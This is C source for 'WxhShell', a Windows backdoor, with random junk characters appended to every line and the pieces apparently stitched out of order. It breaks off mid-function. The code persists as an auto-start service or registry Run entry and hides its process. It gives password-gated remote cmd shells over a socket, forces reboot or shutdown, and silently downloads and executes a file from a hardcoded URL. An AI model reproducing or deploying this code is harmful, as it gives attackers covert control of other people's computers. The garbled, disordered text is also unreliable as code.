    if(Boot(SHUTDOWN)) U8 Z~Y}29  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ' oBo|  
    else { gb.f%rlZ`  
    closesocket(wsh); Q{H17]W  
    ExitThread(0); wY' "ab  
    } M%7`8KQ  
    break; $-m@KB  
    } 9uuta4&uI  
  // 获取shell i?ZA x4D  
  case 's': { %l Q[dXp  
    CmdShell(wsh); J$1j-\KS  
    closesocket(wsh); N YCj; ,V  
    ExitThread(0); 5){tBK|  
    break; TcR=GR*cJ  
  } X7e>Z)l  
  // 退出 qIB>6bv#x  
  case 'x': { x$~3$E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U'rr?,RML  
    CloseIt(wsh); A|2 <A !  
    break; IeO-O'^&`  
    } =Nw2;TkB[  
  // 离开 9 TqoLX  
  case 'q': { #]?tY }~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^Y$QR]  
    closesocket(wsh); pI  &o?n  
    WSACleanup(); Bk&-1>cY  
    exit(1); Xwn3+tSIa  
    break; 7 rH'1U  
        } [:Be[pLC  
  } IbF 4k .J  
  } 1#/6r :  
g+e:@@ug  
  // 提示信息 +H41]W6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  ,Qat  
} ,o BlJvm  
  } : aHcPc:  
DLU[<! C  
  return; VK9Q?nu  
} JRD8Lz]Q3  
Ud$Q0m&  
// shell模块句柄 ])eOa%  
int CmdShell(SOCKET sock) U9x4j_.q  
{ pfR"s:#  
STARTUPINFO si; +eU`H[iu  
ZeroMemory(&si,sizeof(si)); ?2/uSG|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +Dd"41  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v5B" A"N  
PROCESS_INFORMATION ProcessInfo; R|-6o)$  
char cmdline[]="cmd"; Sc$gnUYD{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nHnk#SAA u  
  return 0; xsYE=^uv  
} t @;WgIp(&  
7LG+$LEz  
// 自身启动模式 %Nl`~Kz9U  
int StartFromService(void) AU/#b(mI  
{ +a #lofhv  
typedef struct Gv;;!sZ  
{ Jff 79)f  
  DWORD ExitStatus; Bw6L;Vu  
  DWORD PebBaseAddress; Rl1$?l6Rf  
  DWORD AffinityMask; `ovgWv  
  DWORD BasePriority; \N?7WQ  
  ULONG UniqueProcessId; FtN}]@F  
  ULONG InheritedFromUniqueProcessId; }X.>4\B5  
}   PROCESS_BASIC_INFORMATION; 3!>/smb !  
+yCTH  
PROCNTQSIP NtQueryInformationProcess; mqdOu{kQ  
 '6O|H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $.wA?`1aSk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o/WC@!wg K  
!Ri r&gF  
  HANDLE             hProcess; 8[oYZrg  
  PROCESS_BASIC_INFORMATION pbi; R0vww_fz  
C>4UbU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k5wi'  
  if(NULL == hInst ) return 0; !5&%\NSv  
-]/7hN*v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pL! a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #9i6+. Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ujx@@N  
%Z7%jma  
  if (!NtQueryInformationProcess) return 0; fSjs?zd`  
l~rb]6E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $6# lTYN~  
  if(!hProcess) return 0; Rnr#$C%  
+ZclGchw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "?P[9x}  
L@nebT;\'  
  CloseHandle(hProcess); {M [~E|@D  
^Z#@3 =  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); , |l@j%  
if(hProcess==NULL) return 0; wYjQ V?,  
~H u"yAR  
HMODULE hMod; f|#8qiUS  
char procName[255]; Fom>'g*  
unsigned long cbNeeded; ]rnXNn;  
I(n }<)eF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p-,Iio+  
S.W^7Ap  
  CloseHandle(hProcess); ck$M(^)l  
v77fQ0w3  
if(strstr(procName,"services")) return 1; // 以服务启动 ZjS(ad*.2  
/=T H08  
  return 0; // 注册表启动 XMw.wQ '?  
} Ny^'IUu  
W^k,Pmopy  
// 主模块 iV!@bC,  
int StartWxhshell(LPSTR lpCmdLine) 5}XvL'  
{ 1q] & 7R  
  SOCKET wsl; .TJ">?  
BOOL val=TRUE; ddoFaQ8  
  int port=0; 5,R`@&K3D  
  struct sockaddr_in door; NF mc>0-  
DT\ym9  
  if(wscfg.ws_autoins) Install(); {]`p&@  
f?^S bp  
port=atoi(lpCmdLine); =m9i)Q  
) |MJnx9  
if(port<=0) port=wscfg.ws_port; oNIFx5*Z  
(ND%}  
  WSADATA data; 7}%H2$Do  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  HxIoA  
P6YQK+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B?3juyB`--  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \(fq8AL?  
  door.sin_family = AF_INET; Xu#:Fe}:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Xpl?g=B&u  
  door.sin_port = htons(port); Xm|ib%no  
,9\Snn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K6B4sE  
closesocket(wsl); Y@%`ZPJ  
return 1; n=o_1M|  
} Za%LAyT_s  
6,+nRiZ  
  if(listen(wsl,2) == INVALID_SOCKET) { B |&F%P0:  
closesocket(wsl); #tDW!Xv?  
return 1; Y)Tl<  
} 5g>wV  
  Wxhshell(wsl); CTp!di|  
  WSACleanup(); % O%xpSYr  
YB5dnS"n  
return 0; \bold"  
3D_"y Z  
} 7W|Zq6p i  
:gf;}  
// 以NT服务方式启动 k.GA8=]>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) XYAmJ   
{ uR_F,Mp?%u  
DWORD   status = 0; uPLErO9Es[  
  DWORD   specificError = 0xfffffff; m$:&P|!'p  
kjE*9bUc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q["t eo]DQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ehT%s+aUw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7ZsA5%s=,  
  serviceStatus.dwWin32ExitCode     = 0; 55m<XC  
  serviceStatus.dwServiceSpecificExitCode = 0; Y(r@v  
  serviceStatus.dwCheckPoint       = 0; n8u*JeN  
  serviceStatus.dwWaitHint       = 0; !ni>\lZ  
/oL8;:m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K5`Rk" s  
  if (hServiceStatusHandle==0) return; Jhy(x1%  
OipqoI2  
status = GetLastError(); p3yU:q#A  
  if (status!=NO_ERROR) 9$RI H\*  
{ $iPP|Rw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !h:  Q  
    serviceStatus.dwCheckPoint       = 0; eW50s`bKY  
    serviceStatus.dwWaitHint       = 0; @Y-TOCadT  
    serviceStatus.dwWin32ExitCode     = status; 0^&!6R  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2|{V,!/cvG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l r~gG3   
    return; hs(W;tR@W  
  } `@XehSQ  
Wi$dZOcSJ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; FjFwvO_.  
  serviceStatus.dwCheckPoint       = 0; Fo}7hab  
  serviceStatus.dwWaitHint       = 0; _Y!sVJ){,c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x_!ZycEa  
} CS@&^SEj  
&=Y e6 f[  
// 处理NT服务事件,比如:启动、停止 .:9s}%Z r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R#eg^7HfX  
{ F,T~\gO5,  
switch(fdwControl) 1*UN sEr  
{ LchnBtjn  
case SERVICE_CONTROL_STOP: ?KP}#>Ba@  
  serviceStatus.dwWin32ExitCode = 0; >|*yh~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'jjb[{g^}}  
  serviceStatus.dwCheckPoint   = 0; $$1qF"GF  
  serviceStatus.dwWaitHint     = 0; gQouOjfP  
  { 33a uho  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L`[z[p {?  
  } 79BaDB`{a  
  return; b$- e\XB!  
case SERVICE_CONTROL_PAUSE: 9 26Tl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }V`mp  
  break; lZWX7FO'  
case SERVICE_CONTROL_CONTINUE: OYmi?y\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8)wt$b  
  break; hfrnxeM#~  
case SERVICE_CONTROL_INTERROGATE: C@gXT]Q 0}  
  break; q p~g P  
}; >/^#Drwb!i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UtJa3ya  
} qf8[!5GM  
S$[k Q|Am  
// 标准应用程序主函数 0rE(p2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NlF}{   
{ kWW w<cA  
F L=,YP  
// 获取操作系统版本 6`\ya@  
OsIsNt=GetOsVer(); ]R IVc3?;$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I%lE;'x  
-]S.<8<$  
  // 从命令行安装 G>z,#Xt  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,Em$!n  
.}`hCt08  
  // 下载执行文件 _*6v|Ed?  
if(wscfg.ws_downexe) { k\7:{y@,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XDz5b.,  
  WinExec(wscfg.ws_filenam,SW_HIDE); ry0%a[[  
} 9uYyfb: ,z  
A6"Hk0Hf  
if(!OsIsNt) { }Je>;{&%  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;*cLG#&'M  
HideProc(); {9 PR()_  
StartWxhshell(lpCmdLine); pq! %?m]  
} #"f' 7'TE  
else u8vuwbra!  
  if(StartFromService()) 8 0B>L  
  // 以服务方式启动 r\M9_s8  
  StartServiceCtrlDispatcher(DispatchTable); {`"#yl6"  
else Lm%GR[tyQ  
  // 普通方式启动 w4:\N U  
  StartWxhshell(lpCmdLine); =f7r69I"  
- u3e5gW  
return 0; }!d;(/)rb  
} *}! MOqP  
'0t-]NAc  
%[QV,fD'E  
}e]f  
=========================================== 39TT{>?`w  
O'DW5hBL0  
uCP>y6I  
rrBAQY|.  
KMK`F{  
7^:4A'  
" E]} n(  
.dmi#%W  
#include <stdio.h> l!~ mxUb  
#include <string.h> $2#7D* Rx  
#include <windows.h> SpSnoVI  
#include <winsock2.h> b=[?b+  
#include <winsvc.h> 0$vj!-Mb^j  
#include <urlmon.h> 6Y384  
6oL1_)  
#pragma comment (lib, "Ws2_32.lib") Mi7y&~,  
#pragma comment (lib, "urlmon.lib") (ywo a  
#-# NqX:  
#define MAX_USER   100 // 最大客户端连接数 =XY]x  
#define BUF_SOCK   200 // sock buffer ,^'R_efY  
#define KEY_BUFF   255 // 输入 buffer =Agg_h   
MXvXVhCU  
#define REBOOT     0   // 重启 ;%!m<S|%k  
#define SHUTDOWN   1   // 关机 [rY T  
YJF#)TkF  
#define DEF_PORT   5000 // 监听端口 `,>wC+}  
2#5,MP~r  
#define REG_LEN     16   // 注册表键长度 2k -+^}r  
#define SVC_LEN     80   // NT服务名长度 C!x/ ^gw  
E^Gg '1  
// 从dll定义API ?.bnIwQe  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <,1 fkq>,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C;rG]t^%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l=P'B @,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  _^t-9  
{G i h&N  
// wxhshell配置信息 GA3sRFZdQ  
struct WSCFG { =U-r*sGLN  
  int ws_port;         // 监听端口 )Hw:E71h2  
  char ws_passstr[REG_LEN]; // 口令 UWXm?v2j  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7"v$- Wy  
  char ws_regname[REG_LEN]; // 注册表键名 -w 6 "?  
  char ws_svcname[REG_LEN]; // 服务名 mDMt5(.   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h{iEZ#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,/Cq v   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A.%CAGU5w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'c`jyn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3:CO{=`\7B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "HIXm  
2j&@ p>  
}; >yK0iK{  
=tdSq"jh  
// default Wxhshell configuration m}Y0xV9  
struct WSCFG wscfg={DEF_PORT, ` $5UHa2/  
    "xuhuanlingzhe", \FzM4-  
    1, <G3&z#]#4  
    "Wxhshell", uOi&G:=  
    "Wxhshell", `S/wJ'c  
            "WxhShell Service", +5p{5 q(o  
    "Wrsky Windows CmdShell Service", h3G.EM:eG  
    "Please Input Your Password: ", *,WP,-0  
  1, gUax'^w;V;  
  "http://www.wrsky.com/wxhshell.exe", U8QX46Br  
  "Wxhshell.exe" CnF |LTi  
    }; iU2KEqCm  
LLAa1Wq  
// 消息定义模块 ~=n#}{/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pK&I^r   
char *msg_ws_prompt="\n\r? for help\n\r#>"; Mtm OUI&'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^CT&0  
char *msg_ws_ext="\n\rExit."; yX/";Oe  
char *msg_ws_end="\n\rQuit."; NY B[Zyp  
char *msg_ws_boot="\n\rReboot..."; 12`_;[37  
char *msg_ws_poff="\n\rShutdown..."; '3(l-nPiG^  
char *msg_ws_down="\n\rSave to "; \ZXLX'-  
7*H:Ob)9k  
char *msg_ws_err="\n\rErr!"; e;95a  
char *msg_ws_ok="\n\rOK!"; x K%=  
`k{& /]  
char ExeFile[MAX_PATH]; \c`oy=qY0  
int nUser = 0; Es5p}uh.[Y  
HANDLE handles[MAX_USER]; ra7uU*  
int OsIsNt; QBJ3iQs1  
j6}R7 $JR  
SERVICE_STATUS       serviceStatus; ZU&"73   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fZWGn6$   
rXi uwz\  
// 函数声明 mj,fp2D;%  
int Install(void); '?*g%Yuz  
int Uninstall(void); j -O2aL  
int DownloadFile(char *sURL, SOCKET wsh); Kp iF0K  
int Boot(int flag); = bt]JRU  
void HideProc(void); >`T5]_a  
int GetOsVer(void); ]> !<G8 =N  
int Wxhshell(SOCKET wsl); h1"zV6U  
void TalkWithClient(void *cs); J{"kw1Lu  
int CmdShell(SOCKET sock); )h$NS2B`  
int StartFromService(void); Vd9@Dy  
int StartWxhshell(LPSTR lpCmdLine); <eN R8(P  
2ef;NC.&n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [bQj,PZ&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b3qc_  
rnm03 '{  
// 数据结构和表定义 LJzH"K[Gg6  
SERVICE_TABLE_ENTRY DispatchTable[] = R!x: C!{  
{ "E=j|q  
{wscfg.ws_svcname, NTServiceMain}, Pt< s* (  
{NULL, NULL} JcO08n  
}; m>&HuHf  
'W. V r4  
// 自我安装 Z+:D)L  
int Install(void) k)(Biz398E  
{ Y;J*4k]  
  char svExeFile[MAX_PATH]; _O:WG&a6  
  HKEY key; F1azZ (  
  strcpy(svExeFile,ExeFile); 3ha|0[r9  
-\$`i c$"1  
// 如果是win9x系统,修改注册表设为自启动 Kf,-4)  
if(!OsIsNt) { _sHK*&W{CT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dWRrG-'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M~ h8Crz  
  RegCloseKey(key); ^C^*,V3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'C+;r?1!h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Yn51U6_S  
  RegCloseKey(key); &%aXR A#+  
  return 0; 8%{q%+  
    } !UBO_X%dz  
  } V1=*z  
} =H]F`[B=  
else { Bo_ym36N  
j0-McLc  
// 如果是NT以上系统,安装为系统服务 {OMg d3%14  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FcbM7/  
if (schSCManager!=0) %kI} [6J_  
{ w2gf&Lc\  
  SC_HANDLE schService = CreateService B\`Aojw"E?  
  ( 7hNb/O004  
  schSCManager, /L=(^k=a.;  
  wscfg.ws_svcname, 3HV%4nZLf  
  wscfg.ws_svcdisp, F 8yF  
  SERVICE_ALL_ACCESS, %oykcf,#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }E <^gAh}  
  SERVICE_AUTO_START, LwJ0  
  SERVICE_ERROR_NORMAL, x ,/TXTZ6  
  svExeFile, Ps[$.h  
  NULL, eH>#6R1-  
  NULL, "AueLl)  
  NULL, %uESrc-;  
  NULL, *e.*=$  
  NULL ;]D(33) (  
  ); H6kf K5,  
  if (schService!=0) P1kB>" bR  
  { &wH:aD  
  CloseServiceHandle(schService); QOFvsJ<s  
  CloseServiceHandle(schSCManager); H:&?ha,9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >O`l8tM  
  strcat(svExeFile,wscfg.ws_svcname); eBW=^B"y+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Jcf"#u-Q/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P!g-X%ngo  
  RegCloseKey(key); X~T/qFS   
  return 0; C"<s/h  
    } TvhJVVQ+?  
  } N0TeqOi4Y  
  CloseServiceHandle(schSCManager); Ibr%d2yS=  
} b}z`BRCc  
} 6Y*;{\Rd  
70W"G X&  
return 1; t={0(  
} q%3<Juq~$  
0NE{8O0;Fr  
// 自我卸载 ~9o6 W",  
int Uninstall(void) lPq\=V  
{ oY9FK{  
  HKEY key; $Rtgr{ {;"  
[IX+M#mf  
if(!OsIsNt) { `H%G3M0a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :Hy]  
  RegDeleteValue(key,wscfg.ws_regname); n~0z_;5  
  RegCloseKey(key); lP<I|O=z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Se^^E.Z,W  
  RegDeleteValue(key,wscfg.ws_regname); >wON\N0V_  
  RegCloseKey(key); bi[7!VQf  
  return 0; W.}].7}h  
  } 9 t:]  
} BR_TykP  
} :KE/!]z  
else { +a)E|(cN  
)$M,Ul  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5mB]N%rfW%  
if (schSCManager!=0) j+ ::y) $  
{ M].8HwC+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }<m{~32M  
  if (schService!=0) ~hX-u8Ul'N  
  { ,{}#8r`+*  
  if(DeleteService(schService)!=0) { /I{R23o  
  CloseServiceHandle(schService); E)p9eU[#  
  CloseServiceHandle(schSCManager); sa-9$},z4  
  return 0; }6m?d!m  
  } m\0cE1fir  
  CloseServiceHandle(schService);  mw$Y  
  } 6 vs3O  
  CloseServiceHandle(schSCManager); 4*H"Z(HP  
} >%%=0!,yX  
} X T>('qy  
*> 3Qd7  
return 1; I}0_nge  
} J1F{v)T '?  
NP t(MFK \  
// 从指定url下载文件 dSK 0h(8  
int DownloadFile(char *sURL, SOCKET wsh) u=K2Q4  
{ I44s(G1j l  
  HRESULT hr; 440FhD Mj  
char seps[]= "/"; pWaPC /,g  
char *token; /p`&;/V|  
char *file; 5D`26dB2  
char myURL[MAX_PATH]; #gZ|T M/h  
char myFILE[MAX_PATH]; :[7lTp   
;IP~Tb]&  
strcpy(myURL,sURL); D!3{gV#  
  token=strtok(myURL,seps); v548ysE)  
  while(token!=NULL) 5G*II_j  
  { P'[<A Z  
    file=token; m#@_8_ M  
  token=strtok(NULL,seps); hl/itSl$  
  } a|qsQ'1,;  
MK$Jj "  
GetCurrentDirectory(MAX_PATH,myFILE); q?  z>  
strcat(myFILE, "\\"); |ng%PQq)  
strcat(myFILE, file); s@@1 *VQ  
  send(wsh,myFILE,strlen(myFILE),0); Ob@Hng% v  
send(wsh,"...",3,0); nB@UKX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f6ZZ}lwaV  
  if(hr==S_OK) A|RR]CFJ  
return 0; D(X qyN-P  
else oK+Lzb\d{M  
return 1; k=n "+  
d]B= *7]  
} Z6s5M{mE  
\ aKd5@  
// 系统电源模块 ?l6jG  
int Boot(int flag) AlX3Wv }  
{ :=!Mh}i  
  HANDLE hToken; DdjCn`jqlf  
  TOKEN_PRIVILEGES tkp; 2<6j1D^jM  
Z7#7N wy4  
  if(OsIsNt) { Os&1..$Nb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  H!eh J$[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,x#ztdvr  
    tkp.PrivilegeCount = 1; McP.9v}H0_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "sbBe73 m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Lo`F  
if(flag==REBOOT) { 4M`Xrfwm'[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `iYc<N`  
  return 0; 8F6h#%9  
} ^#SBpLw  
else { zy)i1d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _w u*M  
  return 0; P[i\e7mR  
} 2P}I'4C-  
  } f1cl';  
  else { SGf9U^ds  
if(flag==REBOOT) { P;U@y" s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >4)g4~'n!  
  return 0; Rt4di^v  
} KTmaglgp  
else { CT"Fk'B'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k|j:T[_  
  return 0; L|67f4  
} ?!S GiARW?  
} Yn<)k_kp  
gGbI3^ r#  
return 1; PrnrXl S  
} n`<S&KP|  
eV;me>,  
// win9x进程隐藏模块 G11cNr>*  
void HideProc(void) 2ksA.,UB^9  
{ )Vk:YL++  
qi\n]I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n7iE8SK|k  
  if ( hKernel != NULL ) {nRUH*(d9  
  { I'A:J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); eP|)SU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,)$Wm-  
    FreeLibrary(hKernel); S aNN;X0  
  } CA^.?&CH^O  
Je~p%m#e;K  
return; OmNn,PCl8  
} # "r kuDO  
P9yw&A  
// 获取操作系统版本 V/-MIH7SF  
int GetOsVer(void) cjT[P"5$  
{ d}% (jJ(I  
  OSVERSIONINFO winfo; `o-*Tr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lU$X4JBzS  
  GetVersionEx(&winfo); ^x3EotQ\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IwRQL%  
  return 1; 1v]t!}W:6  
  else NbDda/7ki  
  return 0; yWuIu>VJ  
} 6Ct0hk4  
G"Pj6QUva  
// 客户端句柄模块 _3&/(B%H  
int Wxhshell(SOCKET wsl) :uvc\|:s  
{ m/?h2McS  
  SOCKET wsh; ~XQ$aRl&  
  struct sockaddr_in client; 8p,>y(o  
  DWORD myID; XGk}e4;_  
32y[  
  while(nUser<MAX_USER) Zd XKI{b  
{ ` ,-STIh)  
  int nSize=sizeof(client); x!+Z{x   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,\>g  
  if(wsh==INVALID_SOCKET) return 1; n)CH^WHL&  
88YC0!Ni  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m)k-uWc$C  
if(handles[nUser]==0) I}%mfojC  
  closesocket(wsh); }K;iJ~kD1  
else T#N80BH[  
  nUser++; UzJ!Y/5  
  } AS q`)Rz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \7DCwu[0M  
hU+#S(t>b  
  return 0; Xj;2h{#s  
} +gNX7xuY  
)|:8zDuJ  
// 关闭 socket &<t79d%{  
void CloseIt(SOCKET wsh) 3Tw%W0q  
{ ](n69XX_  
closesocket(wsh); Bxt_a.LthH  
nUser--; ]:!8 s\#  
ExitThread(0); k!vHO  
} QRiF!D)Nk  
5iv@@1c  
// 客户端请求句柄 oVreP  
void TalkWithClient(void *cs) fv/v|  
{ -s33m]a;  
<>?^4NC<M  
  SOCKET wsh=(SOCKET)cs; L:^Y@[f  
  char pwd[SVC_LEN]; m&ZJqsZIL  
  char cmd[KEY_BUFF]; PbQE{&D#  
char chr[1]; ]3 j[3'  
int i,j; BiE$mM  
#4lHaFq  
  while (nUser < MAX_USER) { P;>!wU~*  
2X^iV09  
if(wscfg.ws_passstr) { 'N|2vbi<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rNxG0^k(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w4aiI2KFq  
  //ZeroMemory(pwd,KEY_BUFF); Uv'uqt  
      i=0; 6T]Q.\5BZ  
  while(i<SVC_LEN) { ~Ji>[#W K  
WQTendS  
  // 设置超时 @21u I{  
  fd_set FdRead; x@Sra@  
  struct timeval TimeOut; %Au T8  
  FD_ZERO(&FdRead); nE^wxtY  
  FD_SET(wsh,&FdRead); \Qp}|n1JY  
  TimeOut.tv_sec=8; 4t*<+H%  
  TimeOut.tv_usec=0; i(z+a6^@|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iPz1eUj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O/nqNQ?<  
|<'10  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C~:b*X   
  pwd=chr[0]; '&/(oJ ;O~  
  if(chr[0]==0xd || chr[0]==0xa) { EO"=\C,  
  pwd=0; Px$'(eMj^3  
  break; :nt}7Dn'  
  } *:(1K%g  
  i++; ?'T"?b<  
    } HoMQt3C  
VBhE{4J  
  // 如果是非法用户,关闭 socket ?3n=m%W,J*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tI `w;e%HN  
} "3v7gtGG  
<%he  o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~xP Szf  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YBR)s\*  
gp%tMT I1  
while(1) { Bk@bN~B4  
|%n|[LP'  
  ZeroMemory(cmd,KEY_BUFF); 3SmqXPOw  
sek6+#|=  
      // 自动支持客户端 telnet标准   h!ZZ2[  
  j=0; ER/\ +Z#Z  
  while(j<KEY_BUFF) { d"z *Nb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B6-AIPb  
  cmd[j]=chr[0]; gq=0L:  
  if(chr[0]==0xa || chr[0]==0xd) { Ni&,g  
  cmd[j]=0; So0`c,D  
  break; \]Kq(k[p  
  } }'%$7vL`Ft  
  j++; UnJi& ~O  
    } Ua}g  
//VG1@vaVX  
  // 下载文件 #@IQlqJfY7  
  if(strstr(cmd,"http://")) { %L.lkRs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _P>1`IR  
  if(DownloadFile(cmd,wsh)) :p,c%"8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $hC~af6  
  else W=q?tD~V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k&n\ =tKN  
  } Kw)C{L5a  
  else { D "JMSL4r  
goG] WGVr  
